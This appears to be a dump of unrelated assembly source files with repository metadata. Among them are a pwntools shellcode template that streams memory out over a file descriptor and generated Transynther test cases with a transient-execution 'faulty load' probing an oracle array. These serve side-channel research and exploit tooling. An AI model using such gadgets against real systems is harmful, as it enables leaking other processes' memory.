mTHREE: defm "Three." defb 10,0 mFOUR: defm "Four." defb 10,0 mFIVE: defm "Five." defb 10,0 mSIX: defm "Six." defb 10,0 mSEVEN: defm "Seven." defb 10,0 mEIGHT: defm "Eight." defb 10,0 MSG: defw mONE, mTWO , mTHREE, mFOUR, mFIVE, mSIX, mSEVEN, mEIGHT LOWB: defb 0xff MEDB: defb 0xff
18.449541
75
0.457484
de686af48cd7074f52013fbb2bd3e674a95471a5
779
asm
Assembly
pwnlib/shellcraft/templates/amd64/linux/writeloop.asm
DrKeineLust/pwntools
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
[ "MIT" ]
8,966
2015-01-02T11:58:14.000Z
2022-03-31T21:19:56.000Z
pwnlib/shellcraft/templates/amd64/linux/writeloop.asm
DrKeineLust/pwntools
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
[ "MIT" ]
1,401
2015-01-01T00:56:22.000Z
2022-03-31T16:19:53.000Z
pwnlib/shellcraft/templates/amd64/linux/writeloop.asm
DrKeineLust/pwntools
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
[ "MIT" ]
1,844
2015-01-07T04:38:06.000Z
2022-03-30T03:54:46.000Z
<% from pwnlib.shellcraft import amd64 %> <% from pwnlib.shellcraft import common %> <%page args="readsock=0, writesock=1"/> <%docstring> Reads from a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer. </%docstring> <% after = common.label("after") before = common.label("before") %> ${before}: /* Read address / size tuples from fd ${readsock}, and then write the data to fd ${writesock} */ ${amd64.linux.readptr(readsock, 'rsi')} push rsi ${amd64.linux.readptr(readsock, 'rdx')} pop rsi test rdx, rdx jz ${after} ${amd64.linux.syscall('SYS_write', writesock, 'rsi', 'rdx')} jmp ${before} ${after}:
31.16
65
0.67009
9b18670ee01838715ddb89902ec1015e12dd480d
283
asm
Assembly
programs/oeis/194/A194073.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/194/A194073.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/194/A194073.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A194073: a(n) = 1 + floor((3/4)*n^2). ; 1,4,7,13,19,28,37,49,61,76,91,109,127,148,169,193,217,244,271,301,331,364,397,433,469,508,547,589,631,676,721,769,817,868,919,973,1027,1084,1141,1201,1261,1324,1387,1453,1519,1588,1657,1729,1801 add $0,1 pow $0,2 div $0,4 mul $0,3 add $0,1
31.444444
196
0.671378
1654295b8aa3484701c674f8606344b74d5c983f
263
asm
Assembly
libsrc/_DEVELOPMENT/adt/wv_priority_queue/c/sccz80/wv_priority_queue_destroy.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/wv_priority_queue/c/sccz80/wv_priority_queue_destroy.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/wv_priority_queue/c/sccz80/wv_priority_queue_destroy.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; void wv_priority_queue_destroy(wv_priority_queue_t *q) SECTION code_adt_wv_priority_queue PUBLIC wv_priority_queue_destroy defc wv_priority_queue_destroy = asm_wv_priority_queue_destroy INCLUDE "adt/wv_priority_queue/z80/asm_wv_priority_queue_destroy.asm"
23.909091
69
0.885932
4951521571c0fa632e1ab2f12b57367df9502581
5,444
asm
Assembly
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_21829_594.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_21829_594.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_21829_594.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x7a16, %r15 and $23653, %r11 mov (%r15), %r12w nop nop inc %rax lea addresses_WC_ht+0x1d2b6, %rsi lea addresses_normal_ht+0x1b496, %rdi nop nop cmp %rdx, %rdx mov $126, %rcx rep movsb nop nop lfence lea addresses_normal_ht+0x16a56, %rsi lea addresses_WC_ht+0x1448e, %rdi nop nop nop nop nop xor $7914, %rax mov $13, %rcx rep movsq nop nop and $52437, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %rax push %rbx push %rdx push %rsi // Load lea addresses_RW+0x10c96, %rsi nop nop dec %rdx movups (%rsi), %xmm1 vpextrq $1, %xmm1, %rax nop nop nop add %rbx, %rbx // Load lea addresses_A+0x7fdc, %rdx nop nop nop nop nop xor %rsi, %rsi movups (%rdx), %xmm7 vpextrq $1, %xmm7, %rbx nop nop add %rdx, %rdx // Load lea addresses_UC+0x3576, %r15 nop nop nop add $47828, %r13 mov (%r15), %esi nop nop nop nop xor $59391, %r11 // Faulty Load lea addresses_US+0x8496, %rdx clflush (%rdx) nop nop nop xor $1219, %rsi mov (%rdx), %r15 lea oracles, %rbx and $0xff, %r15 shlq $12, %r15 mov (%rbx,%r15,1), %r15 pop %rsi pop %rdx pop %rbx pop %rax pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_US', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
40.029412
2,999
0.658707
3be0556f8ee20f023e65049ebc9b54613eda652d
1,676
asm
Assembly
programs/oeis/158/A158404.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/158/A158404.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/158/A158404.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A158404: 841n + 1. ; 842,1683,2524,3365,4206,5047,5888,6729,7570,8411,9252,10093,10934,11775,12616,13457,14298,15139,15980,16821,17662,18503,19344,20185,21026,21867,22708,23549,24390,25231,26072,26913,27754,28595,29436,30277,31118,31959,32800,33641,34482,35323,36164,37005,37846,38687,39528,40369,41210,42051,42892,43733,44574,45415,46256,47097,47938,48779,49620,50461,51302,52143,52984,53825,54666,55507,56348,57189,58030,58871,59712,60553,61394,62235,63076,63917,64758,65599,66440,67281,68122,68963,69804,70645,71486,72327,73168,74009,74850,75691,76532,77373,78214,79055,79896,80737,81578,82419,83260,84101,84942,85783,86624,87465,88306,89147,89988,90829,91670,92511,93352,94193,95034,95875,96716,97557,98398,99239,100080,100921,101762,102603,103444,104285,105126,105967,106808,107649,108490,109331,110172,111013,111854,112695,113536,114377,115218,116059,116900,117741,118582,119423,120264,121105,121946,122787,123628,124469,125310,126151,126992,127833,128674,129515,130356,131197,132038,132879,133720,134561,135402,136243,137084,137925,138766,139607,140448,141289,142130,142971,143812,144653,145494,146335,147176,148017,148858,149699,150540,151381,152222,153063,153904,154745,155586,156427,157268,158109,158950,159791,160632,161473,162314,163155,163996,164837,165678,166519,167360,168201,169042,169883,170724,171565,172406,173247,174088,174929,175770,176611,177452,178293,179134,179975,180816,181657,182498,183339,184180,185021,185862,186703,187544,188385,189226,190067,190908,191749,192590,193431,194272,195113,195954,196795,197636,198477,199318,200159,201000,201841,202682,203523,204364,205205,206046,206887,207728,208569,209410,210251 mov $1,$0 mul $1,841 add $1,842
239.428571
1,621
0.835919
057d0b346de770681952c77bbf125f6591ce889b
538
asm
Assembly
engine/items/tmhm2.asm
genterz/pokecross
5e62ab6c23e624ea82d599af306f9c52d768a8b4
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
engine/items/tmhm2.asm
genterz/pokecross
5e62ab6c23e624ea82d599af306f9c52d768a8b4
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
engine/items/tmhm2.asm
genterz/pokecross
5e62ab6c23e624ea82d599af306f9c52d768a8b4
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
CanLearnTMHMMove: ld a, [wCurPartySpecies] ld [wCurSpecies], a call GetBaseData ld hl, wBaseTMHM push hl ld a, [wPutativeTMHMMove] ld b, a ld c, 0 ld hl, TMHMMoves .loop ld a, [hli] and a jr z, .end cp b jr z, .asm_11659 inc c jr .loop .asm_11659 pop hl ld b, CHECK_FLAG push de ld d, 0 predef SmallFarFlagAction pop de ret .end pop hl ld c, 0 ret GetTMHMMove: ld a, [wTempTMHM] dec a ld hl, TMHMMoves ld b, 0 ld c, a add hl, bc ld a, [hl] ld [wTempTMHM], a ret INCLUDE "data/moves/tmhm_moves.asm"
11.446809
35
0.663569
003505f96d845651a1f7f51cd2f97969491025b5
291
asm
Assembly
LAB 5/signedNumber.asm
Mawlong/Computer-Organization-and-Architecture
3a7db2a07eea9d30ba385553cdfdb3d0fcb29a80
[ "MIT" ]
null
null
null
LAB 5/signedNumber.asm
Mawlong/Computer-Organization-and-Architecture
3a7db2a07eea9d30ba385553cdfdb3d0fcb29a80
[ "MIT" ]
null
null
null
LAB 5/signedNumber.asm
Mawlong/Computer-Organization-and-Architecture
3a7db2a07eea9d30ba385553cdfdb3d0fcb29a80
[ "MIT" ]
null
null
null
#signed numbers #refer to unsigned program .data .text .globl main main: li $t1, 1 li $t2, 2 slt $t0, $t1, $t2 li $t2, 0xF1000000 #when MSB is F it is -ve li $t3, 0x00000001 slt $t0, $t3, $t2 # but since slt w/o u therefore signed li $v0, 10 syscall
13.227273
58
0.584192
7e0b2e3a94f1d502fe779fe502ac70d3b5f74005
274
asm
Assembly
sound/sfxasm/61.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
7
2019-12-05T00:35:57.000Z
2022-02-27T20:00:33.000Z
sound/sfxasm/61.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
null
null
null
sound/sfxasm/61.asm
NatsumiFox/Sonic-3-93-Nov-03
032e4fc25f243636d458639c4a4311caca898f96
[ "MIT" ]
null
null
null
61_Header: sHeaderInit ; Z80 offset is $C7DD sHeaderPatch 61_Patches sHeaderTick $01 sHeaderCh $01 sHeaderSFX $80, $C0, 61_PSG3, $1D, $00 61_PSG3: sNoisePSG $E7 sVolEnvPSG v0F dc.b nB3, $02, nRst, $03, nD4, $04 saVolPSG $02 dc.b nD3, $04 sStop 61_Patches:
16.117647
39
0.689781
457b1f057d170108a5e1d5bf5216d130ed0451e1
1,526
asm
Assembly
src/kernel/drivers/io/in_bit_def.asm
rostislav-nikitin/socOS
75e3bbaa16086df5dd1a476ee86052b3073ce075
[ "MIT" ]
1
2020-07-29T12:30:42.000Z
2020-07-29T12:30:42.000Z
src/kernel/drivers/io/in_bit_def.asm
rostislav-nikitin/socOS
75e3bbaa16086df5dd1a476ee86052b3073ce075
[ "MIT" ]
null
null
null
src/kernel/drivers/io/in_bit_def.asm
rostislav-nikitin/socOS
75e3bbaa16086df5dd1a476ee86052b3073ce075
[ "MIT" ]
null
null
null
;======================================================================================================================= ; ; ; Name: socOS (System On Chip Operation System) ; ; Year: 2020 ; ; License: MIT License ; ; ; ;======================================================================================================================= ; Require: ;.include "m8def.inc" ;.include "kernel/kernel_def.asm" ;.include "kernel/drivers/device_def.asm" ;.include "kernel/drivers/io/device_io_def.asm" ; st_in_bit size .equ SZ_ST_IN_BIT = SZ_ST_DEVICE_IO ; st_in_bit:st_device_io inherited fields .equ ST_IN_BIT_DDRX_ADDRESS_OFFSET = ST_DEVICE_IO_DDRX_ADDRESS_OFFSET .equ ST_IN_BIT_PINX_ADDRESS_OFFSET = ST_DEVICE_IO_PINX_ADDRESS_OFFSET .equ ST_IN_BIT_PORTX_ADDRESS_OFFSET = ST_DEVICE_IO_PORTX_ADDRESS_OFFSET .equ ST_IN_BIT_USED_BIT_MASK_OFFSET = ST_DEVICE_IO_USED_BIT_MASK_OFFSET .equ ST_IN_BIT_TYPE_BIT_MASK_OFFSET = ST_DEVICE_IO_TYPE_BIT_MASK_OFFSET ; enum IN_BIT_STATE .equ IN_BIT_STATE_OFF = 0x00 .equ IN_BIT_STATE_ON = 0x01
56.518519
120
0.423329
c5a071f3aba0e6918d250ef59cc9325ee501a022
1,585
asm
Assembly
src/spread/act/find.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/spread/act/find.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/spread/act/find.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
* spread Mon, 1993 Jun 14 17:57:10 * - find pulldown include win1_keys_wman include win1_keys_wstatus include win1_keys_wwork include win1_keys_wdef_long include win1_keys_qdos_pt include win1_keys_k include win1_spread_keys include win1_mac_oli section prog xdef pld_find,ini_find,mea_fdir,mea_caga xref.l mli.ftxt,mli.fdwn,mli.fupw xref.l mv_find,mli.caga xref.l wwa.find,wst_find,wst_main section prog ini_find subr a1 clr.w mv_find(a6) lea wst_find(a6),a1 move.b #wsi.slct,ws_litem+mli.fdwn(a1) ; pre-select downward search subend pld_find xjsr xwm_wasdo beq.s only_fnd bsr.s pld_findw ; pulldown find window cmpi.b #k.cancel,d4 ; ESC'd? beq.s pld_exit only_fnd xjsr do_find ; do the actual finding pld_exit rts mea_caga xjsr do_find xjmp ut_rdwci ; setup, draw, read and then unset menu ; (returns with k.cancel/k.do in d4, according to do/quit) pld_findw subr a0-a5/d1-d3 move.l ww_wstat(a4),a1 move.l wsp_xpos(a1),d4 ; uncomment if fixed add.l ww_xorg(a4),d4 ; position is required move.l #wwa.find,d1 moveq #0,d2 ; use default size lea wst_find(a6),a1 xlea men_find,a3 lea cwy_find(pc),a4 ; setup postprocessing suba.l a5,a5 xjsr ut_pullf ; (or use ut_pullf) tst.l d0 subend cwy_find subr d0/a1 ; convert colourway moveq #0,d0 ;;; move.b colm(a6),d0 ;;; xjsr ut_ccwwd moveq #mli.ftxt,d1 ; set find text item lea mv_find(a6),a1 jsr wm.stlob(a2) subend ; action routines for downwards/upwards toggle mea_fdir move.w wwl_item(a3),d1 xlea lel_fdir,a3 xjsr xwm_exsll moveq #0,d3 rts end
19.096386
69
0.736909
3eb4958288d0f74999099e4f3b8aa7e2aba9f0eb
389
asm
Assembly
3rdParties/src/nasm/nasm-2.15.02/travis/test/vmread.asm
blue3k/StormForge
1557e699a673ae9adcc8f987868139f601ec0887
[ "Apache-2.0" ]
1
2020-06-20T07:35:25.000Z
2020-06-20T07:35:25.000Z
3rdParties/src/nasm/nasm-2.15.02/travis/test/vmread.asm
blue3k/StormForge
1557e699a673ae9adcc8f987868139f601ec0887
[ "Apache-2.0" ]
null
null
null
3rdParties/src/nasm/nasm-2.15.02/travis/test/vmread.asm
blue3k/StormForge
1557e699a673ae9adcc8f987868139f601ec0887
[ "Apache-2.0" ]
null
null
null
bits 32 vmread dword [0], eax vmwrite eax, dword [0] vmread [0], eax vmwrite eax, [0] bits 64 vmread qword [0], rax vmwrite rax, qword [0] vmread [0], rax vmwrite rax, [0] %ifdef ERROR bits 32 vmread qword [0], eax vmwrite eax, qword [0] bits 64 vmread dword [0], eax vmwrite eax, dword [0] vmread qword [0], eax vmwrite eax, qword [0] %endif
15.56
24
0.606684
a06f0975f2fa7fc1258d8856cb00c518a7a025f6
8,536
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1094.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1094.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1094.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r14 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1eadd, %rax nop nop nop nop sub %r9, %r9 movb $0x61, (%rax) nop nop inc %r14 lea addresses_D_ht+0xe67a, %rax nop inc %r12 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 and $0xffffffffffffffc0, %rax vmovaps %ymm2, (%rax) nop nop nop nop nop xor %r14, %r14 lea addresses_normal_ht+0xdee, %rsi lea addresses_WT_ht+0xdcce, %rdi nop nop nop cmp $6329, %r9 mov $0, %rcx rep movsl nop nop nop nop sub $40430, %r14 lea addresses_UC_ht+0x189ee, %rsi nop nop nop add $33104, %r9 movb $0x61, (%rsi) nop nop nop nop sub $4894, %rsi lea addresses_normal_ht+0x1582e, %rax nop nop nop nop nop dec %rdi movups (%rax), %xmm3 vpextrq $0, %xmm3, %r9 nop nop add %r9, %r9 lea addresses_normal_ht+0x1d9ee, %r9 nop nop nop nop lfence mov $0x6162636465666768, %r11 movq %r11, %xmm1 vmovups %ymm1, (%r9) nop nop sub %r9, %r9 lea addresses_WT_ht+0x182e, %r9 nop nop nop nop xor %r11, %r11 movl $0x61626364, (%r9) nop sub %r9, %r9 lea addresses_D_ht+0xe0ae, %rsi lea addresses_A_ht+0x199ee, %rdi nop inc %r11 mov $106, %rcx rep movsw nop nop nop nop nop sub $21491, %r11 lea addresses_WT_ht+0x145ee, %r11 nop nop nop nop nop cmp %rdi, %rdi mov $0x6162636465666768, %rsi movq %rsi, %xmm7 movups %xmm7, (%r11) add %r12, %r12 lea addresses_WT_ht+0x192ae, %rsi lea addresses_WT_ht+0x62ee, %rdi add $42019, %r11 mov $100, %rcx rep movsl nop nop nop cmp $12391, %r11 lea addresses_D_ht+0xfeae, %r11 nop nop nop and $25949, %r12 movb $0x61, (%r11) nop nop nop nop sub %r11, %r11 lea addresses_D_ht+0x3b4e, %rsi lea addresses_UC_ht+0x4c5e, %rdi nop nop nop add %r9, %r9 mov $23, %rcx rep movsw cmp %rdi, %rdi lea addresses_WT_ht+0x11d2e, %rsi nop nop nop nop and $60242, %r9 movl $0x61626364, (%rsi) nop add %rax, %rax lea addresses_UC_ht+0xfba2, %r9 nop nop and $53560, %rcx movw $0x6162, (%r9) nop nop nop nop nop sub $56048, %r12 lea addresses_UC_ht+0x1ddee, %rsi lea addresses_WT_ht+0x836e, %rdi nop nop nop xor %r14, %r14 mov $99, %rcx rep movsq xor $32972, %rax pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r9 push %rbp push %rcx push %rdi push %rsi // Store lea addresses_D+0x94e2, %r15 nop sub %rbp, %rbp movw $0x5152, (%r15) nop nop sub $53701, %r9 // Store lea addresses_US+0x1eaee, %rcx nop dec %rdi movw $0x5152, (%rcx) nop nop nop nop inc %rbp // Load lea addresses_RW+0x1b9ee, %r15 clflush (%r15) and %rsi, %rsi movups (%r15), %xmm7 vpextrq $1, %xmm7, %rdi nop nop nop nop and $15999, %r13 // Faulty Load lea addresses_D+0x169ee, %r15 add %r13, %r13 mov (%r15), %rsi lea oracles, %r9 and $0xff, %rsi shlq $12, %rsi mov (%r9,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 6}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 